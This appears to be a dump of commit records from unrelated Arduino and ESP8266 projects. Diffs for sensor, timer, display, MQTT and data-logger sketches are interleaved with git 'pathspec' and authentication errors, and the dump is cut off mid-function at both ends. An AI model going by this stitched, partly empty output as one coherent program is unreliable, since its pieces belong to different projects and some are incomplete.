+int tinkerDigitalRead(String pin)
+{
+	//convert ascii to integer
+	int pinNumber = pin.charAt(1) - '0';
+	//Sanity check to see if the pin numbers are within limits
+	if (pinNumber< 0 || pinNumber >7) return -1;
+
+	if(pin.startsWith("D"))
+	{
+		pinMode(pinNumber, INPUT_PULLDOWN);
+		return digitalRead(pinNumber);
+	}
+	else if (pin.startsWith("A"))
+	{
+		pinMode(pinNumber+10, INPUT_PULLDOWN);
+		return digitalRead(pinNumber+10);
+	}
+	return -2;
+}
+
+/*******************************************************************************
+ * Function Name  : tinkerDigitalWrite
+ * Description    : Sets the specified pin HIGH or LOW
+ * Input          : Pin and value
+ * Output         : None.
+ * Return         : 1 on success and a negative number on failure
+ *******************************************************************************/
+int tinkerDigitalWrite(String command)
+{
+	bool value = 0;
+	//convert ascii to integer
+	int pinNumber = command.charAt(1) - '0';
+	//Sanity check to see if the pin numbers are within limits
+	if (pinNumber< 0 || pinNumber >7) return -1;
+
+	if(command.substring(3,7) == "HIGH") value = 1;
+	else if(command.substring(3,6) == "LOW") value = 0;
+	else return -2;
+
+	if(command.startsWith("D"))
+	{
+		pinMode(pinNumber, OUTPUT);
+		digitalWrite(pinNumber, value);
+		return 1;
+	}
+	else if(command.startsWith("A"))
+	{
+		pinMode(pinNumber+10, OUTPUT);
+		digitalWrite(pinNumber+10, value);
+		return 1;
+	}
+	else return -3;
+}
+
+/*******************************************************************************
+ * Function Name  : tinkerAnalogRead
+ * Description    : Reads the analog value of a pin
+ * Input          : Pin
+ * Output         : None.
+ * Return         : Returns the analog value in INT type (0 to 4095)
+                    Returns a negative number on failure
+ *******************************************************************************/
+int tinkerAnalogRead(String pin)
+{
+	//convert ascii to integer
+	int pinNumber = pin.charAt(1) - '0';
+	//Sanity check to see if the pin numbers are within limits
+	if (pinNumber< 0 || pinNumber >7) return -1;
+
+	if(pin.startsWith("D"))
+	{
+		return -3;
+	}
+	else if (pin.startsWith("A"))
+	{
+		return analogRead(pinNumber+10);
+	}
+	return -2;
+}
+
+/*******************************************************************************
+ * Function Name  : tinkerAnalogWrite
+ * Description    : Writes an analog value (PWM) to the specified pin
+ * Input          : Pin and Value (0 to 255)
+ * Output         : None.
+ * Return         : 1 on success and a negative number on failure
+ *******************************************************************************/
+int tinkerAnalogWrite(String command)
+{
+	//convert ascii to integer
+	int pinNumber = command.charAt(1) - '0';
+	//Sanity check to see if the pin numbers are within limits
+	if (pinNumber< 0 || pinNumber >7) return -1;
+
+	String value = command.substring(3);
+
+	if(command.startsWith("D"))
+	{
+		pinMode(pinNumber, OUTPUT);
+		analogWrite(pinNumber, value.toInt());
+		return 1;
+	}
+	else if(command.startsWith("A"))
+	{
+		pinMode(pinNumber+10, OUTPUT);
+		analogWrite(pinNumber+10, value.toInt());
+		return 1;
+	}
+	else return -2;
+}
+


Initial Arduino code

Initial Arduino code

error: pathspec 'TimerArdu.ino/TimerArdu.ino.ino' did not match any file(s) known to git

--- TimerArdu.ino/TimerArdu.ino.ino
+++ TimerArdu.ino/TimerArdu.ino.ino
@@ -0,0 +1,319 @@
+#include <MsTimer2.h>
+
+#define BUF_LEN 50
+String VERSION = String("KHTimer v1.00");
+const char TERMINATOR = ';';
+
+// DP, F, G, A, B, C, D, E
+int DIGITS[11] = {
+  B01011111, // 0 -
+  B00001100, // 1 -
+  B00111011, // 2 -
+  B00111110, // 3 -
+  B01101100, // 4 -
+  B01110110, // 5 -
+  B01100111, // 6 -
+  B00011100, // 7 -
+  B01111111, // 8 -
+  B01111100, // 9 -
+  B00000000  // off
+};
+int POSITIONS[4] = {A0, A1, A2, A3};
+
+const int ZERO = 10;
+
+String buff;
+volatile bool timerGo = true;
+volatile int timerDigits[4] = {0,0,0,0};
+
+void setup() {
+  pinMode(A0,OUTPUT);
+  pinMode(A1,OUTPUT);
+  pinMode(A2,OUTPUT);
+  pinMode(A3,OUTPUT);
+  pinMode(A5,OUTPUT);
+  pinMode(13,OUTPUT);
+
+  pinMode(2,OUTPUT);
+  pinMode(3,OUTPUT);
+  pinMode(4,OUTPUT);
+  pinMode(5,OUTPUT);
+  pinMode(6,OUTPUT);
+  pinMode(7,OUTPUT);
+  pinMode(8,OUTPUT);
+  pinMode(9,OUTPUT);
+
+  digitalWrite(A0,LOW);
+  digitalWrite(A1,LOW);
+  digitalWrite(A2,LOW);
+  digitalWrite(A3,LOW);
+
+  WriteDigit(ZERO);
+
+  digitalWrite(A5,LOW);
+
+  // start serial port at 9600 bps and wait for port to open:
+  Serial.begin(9600, SERIAL_8N1);
+  while (!Serial) {
+    ; // wait for serial port to connect. Needed for native USB port only
+  }
+  SendResponse("");
+  SendResponse("");
+  SendResponse(VERSION);
+
+  MsTimer2::set(1, OnTimer); // 1ms period
+  MsTimer2::start();
+}
+
+void loop() {
+  if (Serial.available() > 0)
+  {
+    buff = ReadCommand();
+    buff.trim();
+    int idx = buff.indexOf(':');
+    if (idx < 0)
+    {
+      // if there is no ':' this is not the right command
+      return;
+    }
+    else if (idx == 0)
+    {
+      // addressed to all devices
+    }
+    else if (idx > 0)
+    {
+      String num = buff.substring(0, idx + 1);
+      if (0 != num.toInt())
+      {
+        // not address of this device
+        return;
+      }
+    }
+    buff = buff.substring(idx + 1);
+    idx = buff.indexOf(':');
+    if (idx < 0)
+    {
+      OnUnknownCommand(buff);
+      return;
+    }
+    buff = buff.substring(idx + 1);
+    if (buff.length() > 0)
+    {
+      if (buff.startsWith("ver"))
+      {
+        SendResponse(VERSION);
+      }
+      else if (buff.startsWith("time"))
+      {
+        String tmp = String(timerGo ? "run" : "stop") + ":" + String(timerDigits[0],DEC) + String(timerDigits[1],DEC) + '.' + String(timerDigits[2],DEC) + String(timerDigits[3],DEC);
+        SendResponse(tmp);
+      }
+      else if (buff.startsWith("stop"))
+      {
+        timerGo = false;
+        SendResponse("OK");
+      }
+      else if (buff.startsWith("start"))
+      {
+        timerGo = true;
+        SendResponse("OK");
+      }
+      else if (buff.startsWith("reset"))
+      {
+        timerGo = false;
+        timerDigits[0] = 0;
+        timerDigits[1] = 0;
+        timerDigits[2] = 0;
+        timerDigits[3] = 0;
+        timerGo = true;
+        SendResponse("OK");
+      }
+      else if (buff.startsWith("set"))
+      {
+        idx = buff.indexOf(':');
+        buff = buff.substring(idx + 1);
+        if (buff.length() >= 4)
+        {
+          timerGo = false;
+          SetTime(0, buff[0] - 0x30);
+          SetTime(1, buff[1] - 0x30);
+          SetTime(2, buff[2] - 0x30);
+          SetTime(3, buff[3] - 0x30);
+          timerGo = true;
+        }
+        SendResponse("OK");
+      }
+      else if (buff.startsWith("stat"))
+      {
+        SendResponse(timerGo ? "run" : "stop");
+      }
+      else if (buff.startsWith("help"))
+      {
+        SendResponse("ver,time,stop,start,reset,stat");
+      }
+      else
+      {
+        OnUnknownCommand(buff);
+      }
+    }
+  }
+}
+
+void SetTime(int pos, int val)
+{
+  if (pos >= 4) return;
+  val = val > 9 ? 0 : val;
+  timerDigits[pos] = val;
+}
+
+void OnUnknownCommand(String buff)
+{
+  SendResponse("Unknown command: '" + buff + "'!", 1);
+}
+
+int counter = 0;
+void OnTimer() {
+
+  {
+    // show current LED
+    int digit = counter & 0x3;
+    DisplayOff();
+    WriteDigit(timerDigits[digit]);
+    ShowDigit(digit);
+  }
+  if (counter < 500)
+  {
+    counter++;
+    return;
+  }
+
+  counter = 0;
+  static boolean output = HIGH;
+  digitalWrite(13, output);
+  digitalWrite(9, output && timerGo);
+  output = !output;
+  if (output)
+  {
+    if (timerGo)
+    {
+      SecondUp();
+    }
+  }
+}
+
+String ReadCommand()
+{
+  digitalWrite(A5,LOW);
+  delay(2);
+  String tmp = Serial.readStringUntil(TERMINATOR);
+  return tmp;
+}
+
+void SendResponse(const String& data)
+{
+  SendResponse(data, 0);
+}
+
+void SendResponse(const String& data, int rv)
+{
+  int tmp = 0;
+  for (int i=0; i < data.length(); i++)
+  {
+    tmp += data[i];
+  }
+  tmp = tmp & 0xff;
+  SendResponseInt(String("0:") + String(rv) + ':' + String(tmp,HEX) + ':' + data);
+}
+
+void SendResponseInt(const String& data)
+{
+  digitalWrite(A5,HIGH);
+  delay(2);
+  if (data.length() == 0)
+  {
+    Serial.println(data);
+  }
+  else
+  {
+    Serial.println(data + ";");
+  }
+  Serial.flush();
+  delay(2);
+  digitalWrite(A5,LOW);
+}
+
+void SecondUp()
+{
+  // seconds
+  int tmp = timerDigits[3];
+  tmp++;
+  if (tmp < 10)
+  {
+    timerDigits[3] = tmp;
+    return;
+  }
+  timerDigits[3] = 0;
+
+  // 10th seconds
+  tmp = timerDigits[2];
+  tmp++;
+  if (tmp < 6)
+  {
+    timerDigits[2] = tmp;
+    return;
+  }
+  timerDigits[2] = 0;
+
+  // minutes
+  tmp = timerDigits[1];
+  tmp++;
+  if (tmp < 10)
+  {
+    timerDigits[1] = tmp;
+    return;
+  }
+  timerDigits[1] = 0;
+
+  // 10th minutes
+  tmp = timerDigits[0];
+  tmp++;
+  if (tmp < 10)
+  {
+    timerDigits[0] = tmp;
+    return;
+  }
+  timerDigits[0] = 0;
+}
+
+void DisplayOff()
+{
+  for (int i=0; i < 4; i++)
+  {
+    digitalWrite(POSITIONS[i],LOW);
+  }
+}
+
+void ShowDigit(int digit)
+{
+  digitalWrite(POSITIONS[digit],HIGH);
+}
+
+void WriteDigit(int digit)
+{
+  int d = DIGITS[digit];
+  //int d = B00000010;
+  digitalWrite(8,d & 1); //e
+  d = d >> 1;
+  digitalWrite(7,d & 1); //d
+  d = d >> 1;
+  digitalWrite(6,d & 1); //c
+  d = d >> 1;
+  digitalWrite(5,d & 1); //b
+  d = d >> 1;
+  digitalWrite(4,d & 1); //a
+  d = d >> 1;
+  digitalWrite(3,d & 1); //g
+  d = d >> 1;
+  digitalWrite(2,d & 1); //f
+}
+


Add capacitive touch code

Add capacitive touch code

error: pathspec 'interface/iface/iface.ino' did not match any file(s) known to git

--- interface/iface/iface.ino
+++ interface/iface/iface.ino
@@ -0,0 +1,98 @@
+#include <CapacitiveSensor.h>
+
+#define MAX_SENSORS 9
+
+CapacitiveSensor cs0 = CapacitiveSensor(2,3);
+CapacitiveSensor cs1 = CapacitiveSensor(4,5);
+CapacitiveSensor cs2 = CapacitiveSensor(6,7);
+CapacitiveSensor cs3 = CapacitiveSensor(8,9);
+CapacitiveSensor cs4 = CapacitiveSensor(10,11);
+CapacitiveSensor cs5 = CapacitiveSensor(12,13);
+CapacitiveSensor cs6 = CapacitiveSensor(14,15);
+CapacitiveSensor cs7 = CapacitiveSensor(16,17);
+CapacitiveSensor cs8 = CapacitiveSensor(18,19);
+
+const long threshold = 300;
+const long num = 9;
+long states[MAX_SENSORS];
+
+void setup()
+{
+    uint8_t i;
+
+    Serial.begin(9600);
+
+    for(i = 0; i < MAX_SENSORS; i++)
+        states[i] = 0;
+
+    cs0.set_CS_AutocaL_Millis(0xFFFFFFFF);
+    cs1.set_CS_AutocaL_Millis(0xFFFFFFFF);
+    cs2.set_CS_AutocaL_Millis(0xFFFFFFFF);
+    cs3.set_CS_AutocaL_Millis(0xFFFFFFFF);
+    cs4.set_CS_AutocaL_Millis(0xFFFFFFFF);
+    cs5.set_CS_AutocaL_Millis(0xFFFFFFFF);
+    cs6.set_CS_AutocaL_Millis(0xFFFFFFFF);
+    cs7.set_CS_AutocaL_Millis(0xFFFFFFFF);
+    cs8.set_CS_AutocaL_Millis(0xFFFFFFFF);
+}
+
+void check_sensor(uint8_t id, CapacitiveSensor *s)
+{
+    long total;
+
+    total = s->capacitiveSensor(30);
+    Serial.println(total);
+
+    if (total > threshold && states[id] == 0)
+    {
+//        Serial.println(id);
+        states[id] = 1;
+    }
+    if (total <= threshold && states[id] == 1)
+        states[id] = 0;
+
+}
+
+void loop()
+{
+    long total;
+
+    delay(100);
+
+#if 0
+    check_sensor(0, &cs0);
+    if (num == 1)
+        return;
+
+    check_sensor(1, &cs1);
+    if (num == 2)
+        return;
+
+    check_sensor(2, &cs2);
+    if (num == 3)
+        return;
+
+    check_sensor(3, &cs3);
+    if (num == 4)
+        return;
+
+    check_sensor(4, &cs4);
+    if (num == 5)
+        return;
+
+    check_sensor(5, &cs5);
+    if (num == 6)
+        return;
+
+    check_sensor(6, &cs6);
+    if (num == 7)
+        return;
+
+    check_sensor(7, &cs7);
+    if (num == 8)
+        return;
+#endif
+
+    check_sensor(8, &cs8);
+}
+


added Servo Motor ATmega code

added Servo Motor ATmega code

error: pathspec 'Modules/Action/Servo' did not match any file(s) known to git
error: pathspec 'Motor/ServoMotorATmega/ServoMotorATmega.ino' did not match any file(s) known to git


Ultrasonic sensor testing

Ultrasonic sensor testing

error: pathspec 'personal/distance-ultrasonic/arduino/arduino.ino' did not match any file(s) known to git

--- personal/distance-ultrasonic/arduino/arduino.ino
+++ personal/distance-ultrasonic/arduino/arduino.ino
@@ -0,0 +1,17 @@
+#include <Ultrasonic.h>
+
+Ultrasonic ultrasonic(12, 13);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println("BEGIN");
+}
+
+void loop() {
+  Serial.print("Distance: ");
+  Serial.print(ultrasonic.Ranging(CM));
+  Serial.println(" CM");
+
+  delay(500);
+
+}


Asservissement: maj code de correction de l'asservissement

error: pathspec 'Module' did not match any file(s) known to git
error: pathspec 'Moteur/Software/Asservissement/Asservissement' did not match any file(s) known to git
error: pathspec 'vitesse/Asservissement' did not match any file(s) known to git
error: pathspec 'vitesse/asservissementVitesse.ino' did not match any file(s) known to git


baud fix

baud fix

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/wiiproSK/arduino.git/'


Added modified encoder demo to support index

error: pathspec 'Encoder' did not match any file(s) known to git
error: pathspec 'Demo/EncoderDemo/EncoderDemo.ino' did not match any file(s) known to git


Added TinyMessageBoard

Added TinyMessageBoard

error: pathspec 'examples/MeeoCrowtailBasic/TinyMessageBoard/TinyMessageBoard.ino' did not match any file(s) known to git

--- examples/MeeoCrowtailBasic/TinyMessageBoard/TinyMessageBoard.ino
+++ examples/MeeoCrowtailBasic/TinyMessageBoard/TinyMessageBoard.ino
@@ -0,0 +1,93 @@
+/*
+  MessageDisplay by Meeo
+
+  This example will make use of Meeo. If you haven't already,
+  visit Meeo at https://meeo.io and create an account. Then
+  check how to get started with the Meeo library through
+  https://github.com/meeo/meeo-arduino
+
+  OTHER REQUIREMENTS
+  Download the OLED Driver for ESP8266 here:
+  https://github.com/squix78/esp8266-oled-ssd1306.
+  Follow the instructions on their README.md
+
+  Send remote message and display it on a small OLED.
+  More details of the project here:
+  https://medium.com/meeo/meeo-project-tiny-message-board-c7e2f2e48a3e
+
+  Copyright: Meeo
+  Author: Terence Anton Dela Fuente
+  License: MIT
+*/
+
+#include <Meeo.h>
+#include <SH1106.h>
+
+String nameSpace = "my_namespace";
+String accessKey = "my_access_key";
+String ssid = "MyWiFi";
+String pass = "qwerty123";
+String channel = "message-display";
+
+SH1106 display(0x3c, 14, 12);
+
+void setup() {
+  Serial.begin(115200);
+
+  Meeo.setEventHandler(meeoEventHandler);
+  Meeo.setDataReceivedHandler(meeoDataHandler);
+  Meeo.begin(nameSpace, accessKey, ssid, pass);
+
+  display.init();
+  display.flipScreenVertically();
+  display.setFont(ArialMT_Plain_16);
+  display.setTextAlignment(TEXT_ALIGN_CENTER);
+}
+
+void loop() {
+  Meeo.run();
+}
+
+void meeoDataHandler(String topic, String payload) {
+  Serial.print(topic);
+  Serial.print(": ");
+  Serial.println(payload);
+
+  if (Meeo.isChannelMatched(topic, channel)) {
+    // Show the message on a small OLED
+    display.clear();
+    display.drawString(64, 24, payload.c_str());
+    display.display();
+  }
+}
+
+void meeoEventHandler(MeeoEventType event) {
+  switch (event) {
+    case WIFI_DISCONNECTED:
+      Serial.println("Not Connected to WiFi");
+      break;
+    case WIFI_CONNECTING:
+      Serial.println("Connecting to WiFi");
+      break;
+    case WIFI_CONNECTED:
+      Serial.println("Connected to WiFi");
+      break;
+    case MQ_DISCONNECTED:
+      Serial.println("Not Connected to MQTT Server");
+      break;
+    case MQ_CONNECTED:
+      Serial.println("Connected to MQTT Server");
+
+      //Once connected, subscribe to the channel
+      Meeo.subscribe(channel);
+      break;
+    case MQ_BAD_CREDENTIALS:
+      Serial.println("Bad Credentials");
+      break;
+    case AP_MODE:
+      Serial.println("AP Mode");
+      break;
+    default:
+      break;
+  }
+}


add adafruit io ssl/tls example for esp8266

error: pathspec 'examples/adafruitio_secure_esp8266/adafruitio_secure_esp8266.ino' did not match any file(s) known to git

--- examples/adafruitio_secure_esp8266/adafruitio_secure_esp8266.ino
+++ examples/adafruitio_secure_esp8266/adafruitio_secure_esp8266.ino
@@ -0,0 +1,164 @@
+/***************************************************
+  Adafruit MQTT Library ESP8266 Adafruit IO SSL/TLS example
+
+  Must use the latest version of ESP8266 Arduino from:
+    https://github.com/esp8266/Arduino
+
+  Works great with Adafruit's Huzzah ESP board & Feather
+  ----> https://www.adafruit.com/product/2471
+  ----> https://www.adafruit.com/products/2821
+
+  Adafruit invests time and resources providing this open source code,
+  please support Adafruit and open-source hardware by purchasing
+  products from Adafruit!
+
+  Written by Tony DiCola for Adafruit Industries.
+  SSL/TLS additions by Todd Treece for Adafruit Industries.
+  MIT license, all text above must be included in any redistribution
+ ****************************************************/
+#include <ESP8266WiFi.h>
+#include "Adafruit_MQTT.h"
+#include "Adafruit_MQTT_Client.h"
+
+/************************* WiFi Access Point *********************************/
+
+#define WLAN_SSID       "...your SSID..."
+#define WLAN_PASS       "...your password..."
+
+/************************* Adafruit.io Setup *********************************/
+
+#define AIO_SERVER      "io.adafruit.com"
+#define AIO_SERVERPORT  8883                   // 8883 for MQTTS
+#define AIO_USERNAME    "...your AIO username (see https://accounts.adafruit.com)..."
+#define AIO_KEY         "...your AIO key..."
+
+/************ Global State (you don't need to change this!) ******************/
+
+// WiFiFlientSecure for SSL/TLS support
+WiFiClientSecure client;
+
+// Store the MQTT server, username, and password in flash memory.
+// This is required for using the Adafruit MQTT library.
+const char MQTT_SERVER[] PROGMEM    = AIO_SERVER;
+const char MQTT_USERNAME[] PROGMEM  = AIO_USERNAME;
+const char MQTT_PASSWORD[] PROGMEM  = AIO_KEY;
+
+// Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.
+Adafruit_MQTT_Client mqtt(&client, MQTT_SERVER, AIO_SERVERPORT, MQTT_USERNAME, MQTT_PASSWORD);
+
+// io.adafruit.com SHA1 fingerprint
+const char* fingerprint = "26 96 1C 2A 51 07 FD 15 80 96 93 AE F7 32 CE B9 0D 01 55 C4";
+
+/****************************** Feeds ***************************************/
+
+// Setup a feed called 'photocell' for publishing.
+// Notice MQTT paths for AIO follow the form: <username>/feeds/<feedname>
+const char TEST_FEED[] PROGMEM = AIO_USERNAME "/feeds/test";
+Adafruit_MQTT_Publish test = Adafruit_MQTT_Publish(&mqtt, TEST_FEED);
+
+/*************************** Sketch Code ************************************/
+
+// Bug workaround for Arduino 1.6.6, it seems to need a function declaration
+// for some reason (only affects ESP8266, likely an arduino-builder bug).
+void MQTT_connect();
+void verifyFingerprint();
+
+void setup() {
+  Serial.begin(115200);
+  delay(10);
+
+  Serial.println(F("Adafruit IO MQTTS (SSL/TLS) Example"));
+
+  // Connect to WiFi access point.
+  Serial.println(); Serial.println();
+  Serial.print("Connecting to ");
+  Serial.println(WLAN_SSID);
+
+  delay(1000);
+
+  WiFi.begin(WLAN_SSID, WLAN_PASS);
+  delay(2000);
+
+  while (WiFi.status() != WL_CONNECTED) {
+    delay(500);
+    Serial.print(".");
+  }
+  Serial.println();
+
+  Serial.println("WiFi connected");
+  Serial.println("IP address: "); Serial.println(WiFi.localIP());
+
+  // check the fingerprint of io.adafruit.com's SSL cert
+  verifyFingerprint();
+
+}
+
+uint32_t x=0;
+
+void loop() {
+  // Ensure the connection to the MQTT server is alive (this will make the first
+  // connection and automatically reconnect when disconnected).  See the MQTT_connect
+  // function definition further below.
+  MQTT_connect();
+
+  // Now we can publish stuff!
+  Serial.print(F("\nSending val "));
+  Serial.print(x);
+  Serial.print(F(" to test feed..."));
+  if (! test.publish(x++)) {
+    Serial.println(F("Failed"));
+  } else {
+    Serial.println(F("OK!"));
+  }
+
+}
+
+
+void verifyFingerprint() {
+
+  const char* host = AIO_SERVER;
+
+  Serial.print("Connecting to ");
+  Serial.println(host);
+
+  if (! client.connect(host, AIO_SERVERPORT)) {
+    Serial.println("Connection failed. Halting execution.");
+    while(1);
+  }
+
+  if (client.verify(fingerprint, host)) {
+    Serial.println("Connection secure.");
+  } else {
+    Serial.println("Connection insecure! Halting execution.");
+    while(1);
+  }
+
+}
+
+// Function to connect and reconnect as necessary to the MQTT server.
+// Should be called in the loop function and it will take care if connecting.
+void MQTT_connect() {
+  int8_t ret;
+
+  // Stop if already connected.
+  if (mqtt.connected()) {
+    return;
+  }
+
+  Serial.print("Connecting to MQTT... ");
+
+  uint8_t retries = 3;
+  while ((ret = mqtt.connect()) != 0) { // connect will return 0 for connected
+       Serial.println(mqtt.connectErrorString(ret));
+       Serial.println("Retrying MQTT connection in 5 seconds...");
+       mqtt.disconnect();
+       delay(5000);  // wait 5 seconds
+       retries--;
+       if (retries == 0) {
+         // basically die and wait for WDT to reset me
+         while (1);
+       }
+  }
+
+  Serial.println("MQTT Connected!");
+}


Sample code

Sample code

error: pathspec 'Geek-FLL-Project.ino' did not match any file(s) known to git

--- Geek-FLL-Project.ino
+++ Geek-FLL-Project.ino
@@ -0,0 +1,66 @@
+#include <ESP8266WiFi.h>
+#include <ESP8266WebServer.h>
+
+#include "HX711.h"
+
+/////////////////////
+// Pin Definitions //
+/////////////////////
+const int LED_PIN = 5; // Thing's onboard, green LED
+const int LOADCELL_DATA = 12;
+const int LOADCELL_CLK = 13;
+
+ESP8266WebServer server(80);
+HX711 scale(LOADCELL_DATA, LOADCELL_CLK);
+float calibration_factor = 2000; // needs to come from calibration sketch
+
+void setupScale() {
+  scale.set_scale();
+  scale.tare();  //Reset the scale to 0
+  scale.set_scale(calibration_factor); //Adjust to this calibration factor
+}
+
+float getScaleWeight(){
+  return scale.get_units(5);  // average of 5 readings
+}
+
+const char pageFirstPart[]="\
+  \
+    <title>447 Project</title>\
+  \
+  \
+";
+
+const char pageEnding[]="\
+";
+
+
+void handleRoot()
+{
+  float weight = getScaleWeight();
+
+  String response = pageFirstPart;
+  response += "Weight: " + String(weight, 3);  // 3 is for number of decimal places
+  response += pageEnding;
+
+  server.send(200, "text/html", response);
+}
+
+void loop()
+{
+  server.handleClient();
+}
+
+void setup()
+{
+  pinMode(LED_PIN, OUTPUT);
+  digitalWrite(LED_PIN, HIGH);
+  setupScale();
+
+  WiFi.mode(WIFI_AP);
+  WiFi.softAP("FLL447");  // no password
+
+  server.on ( "/", handleRoot );
+
+  server.begin();
+}


Create SixChannelLogger.ino

Create SixChannelLogger.ino

error: pathspec 'SixChannelLogger.ino' did not match any file(s) known to git

--- SixChannelLogger.ino
+++ SixChannelLogger.ino
@@ -0,0 +1,169 @@
+/*
+
+Six channel data logger using Arduino DUE.
+
+**
+Original purpose is as a slow multi-channel data logger for use with a DFB laser, where
+a frequency sweep is controlled via temperature tuning. A digital pin is used, with an external
+potentiometer, to set the magnitude of the temperature sweep (the onboard DAC could have been used,
+but the adjustment range is only 1/6 to 5/6 of the full 0 - 3V3 range). The temperature is swept
+by switching the state of the digital pin, which in turn changes the setpoint on the external
+temperature controller (Thorlabs TED200C). Since the temperature scan is slow (~90 seconds), and
+we need lots of channels, a normal oscilloscope isn't the best for this job.
+
+Photodiode signals from the main experiment vapour cell, two reference cells (one at zero field,
+one at 0.6 Tesla), Fabry-Perot etalon, a laser power monitor photodiode, and the temperature
+monitor (actual temperature, rather than setpoint) are required.
+**
+
+Analog inputs on pins A0-A5 are read-in at a sampling rate of ~2 kS/s
+The sampling rate can be increased up to around ~16 kS/s for 6 channels, probably faster for
+fewer channels [channels must be enabled/disabled by setting the registers in the setup() method below],
+by adjusting the sampling_time variable
+
+The ADC data is buffered then sent quickly via SerialUSB. Since there is some overhead
+involved with Serial transfer, the data should be transferred in large quantities ( > 1 kB) so
+as to minimise total transmission time. Buffering will be memory-limited at some point. The
+largest buffer possible is currently untested!
+
+PySerial is used to grab the data from the serial port and read it into python. For this,
+the python module SixChannelReader.py has been written (in the same directory as this file),
+which provides class-based methods of reading in the data, as well as a method of
+synchronisation for triggering purposes.
+
+************
+** NOTE: the USB connection to the Arduino must be to the NATIVE port, not the programming port!
+************
+
+
+
+Author: James Keaveney
+18/05/2015
+
+*/
+
+// set up variables
+const int buffer_length = 200; // length of data chunks sent at a time via SerialUSB
+
+const long acquisition_time = 90000; // in ms (~2 minutes in real experiment)
+const long settling_time_ms = 15000; // in ms
+const int sampling_time = 440; // in micros
+
+const int TempAdjustPin = 2;
+
+String strTime = "";
+String strOut = "";
+String strC1 = "";
+String strC2 = "";
+String strC3 = "";
+String strC4 = "";
+String strC5 = "";
+String strC6 = "";
+
+
+unsigned long current_time;
+
+void setup() {
+  // set up digital pin
+  pinMode(TempAdjustPin, OUTPUT);
+
+  // set ADC resolution
+  analogReadResolution(12);
+
+  // manually set registers for faster analog reading than the normal arduino methods
+  ADC->ADC_MR |= 0xC0; // set free running mode (page 1333 of the Sam3X datasheet)
+  ADC->ADC_CHER = 0xFC;  // enable channels  (see page 1338 of datasheet) on adc 7,6,5,4,3,2 (pin A0-A5)
+                       // see also http://www.arduino.cc/en/Hacking/PinMappingSAM3X for the pin mapping between Arduino names and SAM3X pin names
+  ADC->ADC_CHDR = 0xFF03; // disable all other channels
+  ADC->ADC_CR=2;       // begin ADC conversion
+
+
+  // initialise serial port
+  SerialUSB.begin(115200); // baud rate is ignored for USB - always at 12 Mb/s
+  while (!SerialUSB); // wait for USB serial port to be connected - wait for pc program to open the serial port
+
+}
+
+
+
+void loop() {
+
+  // data acquisition will start with a synchronisation step:
+  // python should send a single byte of data, the arduino will send one back to sync timeouts
+  int incoming = 0;
+  if (SerialUSB.available() > 0) // polls whether anything is ready on the read buffer - nothing happens until there's something there
+  {
+    incoming = SerialUSB.read();
+    // after data received, send the same back
+    SerialUSB.println(incoming);
+
+
+    //wait a little time for python to be ready to receive data - (not sure if this is really necessary)
+    delay(50); // ms
+
+    // do something to alter the temperature - swap digital pin state
+    digitalWrite(TempAdjustPin,!(digitalRead(TempAdjustPin)));
+
+    // measure start time - then acquire data for an amount of time set by the acquisition_time variable
+    unsigned long start_micros = micros();
+    unsigned long start_time = millis();
+    while (millis() < (start_time+acquisition_time))
+    {
+
+      // generate and concatenate strings
+      for (int jj = 0; jj < buffer_length; jj++)
+      {
+
+        // ADC acquisition
+
+        // can put this in a small loop for some averaging if required - takes ~ 60 microsec per read/concatenate cycle
+        while((ADC->ADC_ISR & 0xFC)!=0xFC); // wait for conversion to complete - see page 1345 of datasheet
+
+        // concatenate strings
+        current_time = micros()-start_micros;
+        strTime.concat(current_time); // time axis
+        strTime.concat(',');
+        strC1.concat(ADC->ADC_CDR[7]); // read data from the channel data register
+        strC1.concat(',');
+        strC2.concat(ADC->ADC_CDR[6]);
+        strC2.concat(',');
+        strC3.concat(ADC->ADC_CDR[5]);
+        strC3.concat(',');
+        strC4.concat(ADC->ADC_CDR[4]);
+        strC4.concat(',');
+        strC5.concat(ADC->ADC_CDR[3]);
+        strC5.concat(',');
+        strC6.concat(ADC->ADC_CDR[2]);
+        strC6.concat(',');
+
+
+        //Serial.print(current_time);
+        //Serial.print(",");
+
+        delayMicroseconds(sampling_time); // limit sampling rate to something reasonable - a few kS/s
+      }
+
+      // send data via SerialUSB
+      // perform a flush first to wait for the previous buffer to be sent, before overwriting it
+      SerialUSB.flush();
+      strOut = strTime + strC1 + strC2 + strC3 + strC4 + strC5 + strC6;
+      SerialUSB.print(strOut); // doesn't wait for write to complete before moving on
+
+
+      // clear string data - re-initialise
+      strTime = "";
+      strC1 = "";
+      strC2 = "";
+      strC3 = "";
+      strC4 = "";
+      strC5 = "";
+      strC6 = "";
+    }
+
+    // finally, print end-of-data and end-of-line character to signify no more data will be coming
+    SerialUSB.println("\0");
+
+    // wait a while to allow temperature to settle
+    delay(settling_time_ms);
+  }
+}


Main code begun

Main code begun

error: pathspec 'TetrisOnArduino/TetrisOnArduino.ino' did not match any file(s) known to git

--- TetrisOnArduino/TetrisOnArduino.ino
+++ TetrisOnArduino/TetrisOnArduino.ino
@@ -0,0 +1,8 @@
+/*
+  TetrisOnArduino.ino
+  Author: Matt Webb
+
+
+*/
+
+


Add Arduino code for KnobToStepper.

Add Arduino code for KnobToStepper.

error: pathspec '1_energy-information-transduction/b_arduino-starter/ii_basic-examples/1.b.ii.6_motor-knob/KnobToStepper/KnobToStepper.ino' did not match any file(s) known to git

--- 1_energy-information-transduction/b_arduino-starter/ii_basic-examples/1.b.ii.6_motor-knob/KnobToStepper/KnobToStepper.ino
+++ 1_energy-information-transduction/b_arduino-starter/ii_basic-examples/1.b.ii.6_motor-knob/KnobToStepper/KnobToStepper.ino
@@ -0,0 +1,35 @@
+#define DIR_PIN 2
+#define STEP_PIN 3
+
+int previous = 0;
+
+void setup() {
+  pinMode(DIR_PIN, OUTPUT);
+  pinMode(STEP_PIN, OUTPUT);
+}
+
+void loop(){
+  int val = analogRead(0);
+  rotate(val - previous, .2);
+  previous = val;
+}
+
+
+void rotate(float dist, float speed){
+  //rotate a specific distance (negitive for reverse movement)
+  //speed is any number from .01 -> 1 with 1 being fastest - Slower is stronger
+  int dir = (dist > 0)? HIGH:LOW;
+  digitalWrite(DIR_PIN,dir);
+
+  int steps = abs(dist)*(1/0.225);
+  float usDelay = (1/speed) * 70;
+
